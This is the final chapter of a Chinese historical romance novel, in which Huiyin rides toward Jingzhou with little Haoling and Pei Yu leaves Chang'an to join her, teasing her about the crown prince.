正值春日,一路上走走停停,越靠近荆州湖泊越多,到处都是山清水秀一片绿意。自幼在大宛长达的诃诗同颢灵兴奋得不行,母女俩连马车都坐不住,非要骑马看风景。 两人将颢灵丢给徽音,骑着一匹马遥遥的跑在了前面,徽音跟怀里的颢灵大眼瞪小眼,她哄道:“马车里也很好,咱们待在马车里好不好?” 颢灵摇摇头,睁着大眼睛水灵灵的看着徽音撒娇,拉着徽音的衣摆往外扯,“姑姑,我想骑马。” 徽音无奈的叹了口气,她是很喜欢颢灵没错,可是这个年纪的小孩精力实在是充沛,一路上闹腾没个停歇。她不哭不闹,就拿一双可怜兮兮的眼睛瞅着你,奶声奶气的撒娇。 徽音还是没能抵挡住,抱着颢灵上马。她这三年来身体强健了不少,颢灵上马后也知晓危险,乖乖坐着不乱动,徽音倒也不担心摔着。 她用系带将颢灵栓在腰间,掀起兜帽给她脑门遮上,“坐好了。” 颢灵兴奋的点点头,小手紧紧的抓住徽音的衣袖。 徽音没赶骑太快,慢悠悠的跟在那对无良夫妇身后。没过多久,徽音就听见身后有马蹄哒哒的声音跑上来,她以为是路过赶路的行人,将马骑到路边让出大路,慢悠悠的走着。 后头马蹄哒哒的声音越来越近,靠近她们的时候声音又变小了,徽音控着马,怀里的颢灵钻出来朝后看,嚷嚷道:“姑姑,是那个叔叔。” “哪个叔叔?”徽音没听清,复问了一遍。 她没听见颢灵的回答,身后已经有人接话道:“是我。” 徽音惊讶的回头去看,那本该坐镇长安的大忙人此刻就在她的身后,一脸笑意的望着她。 “你怎么来了?” “你都走了,我还留在长安做什么?” 裴彧驭马上前,和徽音并排骑在一起,同时伸手点点颢灵的鼻尖,笑道:“要叫我姑父,不是叔叔,记住了吗?” 颢灵扭头躲进徽音怀里,朝裴彧做了个鬼脸。 “行了,”徽音打断裴彧跟小孩幼稚计较的举动,正色道:“你给我正经点,老实回话。” 她怀中的颢灵也跟着叉腰大喊,学得有模有样:“行了,你给我正经点,老实回话!” 奶声奶气的声音配上她一脸骄傲的小表情,让人好笑的紧。 徽音:“……” 裴彧在身旁笑得乐不可支,“你给我讲实话,她真不是你亲生的?” 那骄傲的小表情简直和徽音如出一辙,看得裴彧心热手也热,恨不得抱在怀中亲两口。 徽音捂住颢灵的眼睛,瞪了眼裴彧,眼中满是威胁。 裴彧正正神色,清嗓道:“我想跟你一起回荆州。” 他知道徽音第一次回荆州时被那群倚老卖老的族老欺负,他错了第一次,不想再错过第二次了,这次他要去给她撑腰。 徽音蹙着眉,不明白他是什么意思,“长安事务繁忙,你这个时候跟我离开,那长安怎么办?” 裴彧无所谓的扬扬眉,“什么都让我去做,那还要那些官员做什么。皇位替他打下来了,总不能叫我替他坐吧?” 徽音还是有些不赞同。 裴彧又道:“这些年我反省了一下,太子之所以当不起事,完全是因为我和裴后帮他把所有的事情都做了,他才高枕无忧。” 徽音:“话是这个理没有错,可你完全脱手是不是不太好?” 裴彧有些哀怨道:“你心疼他,怎么不心疼心疼我?” 徽音捂住颢灵眼睛的手掌赶紧移开,捂住她的小耳朵,咬牙道“……你在孩子面前胡说什么?” 裴彧哼了声,从徽音怀中抱起小颢灵,拍拍她的小脑袋问:“要不要骑快马?” 颢灵心虚的别开眼不去看姑姑,小脑袋点头跟破浪鼓一样,声音清脆:“要!” 裴彧朝徽音挑挑眉,抱着颢灵骑马离开,很快就超过了前方的无良夫妇,颢灵开心的声音回荡的道路上。 徽音有些无奈,裴彧这厮,是从哪里看出来她心疼太子了?太子又不是她家里的人,若不是裴彧,她才懒得管。 她愤愤的回了马车,突然想起来,她和太子曾经差点订婚的事实,裴彧还曾经怀疑过她和太子,莫不是又吃了一口陈年老醋? 徽音没来得有些好笑,她掀起车帘看向窗外,裴彧已经载着颢灵往回走了,颢灵骑在马上兴奋的冲她招手,眼角眉梢都是喜意。 来路之路光明灿烂,前路尽是希冀。 全文完。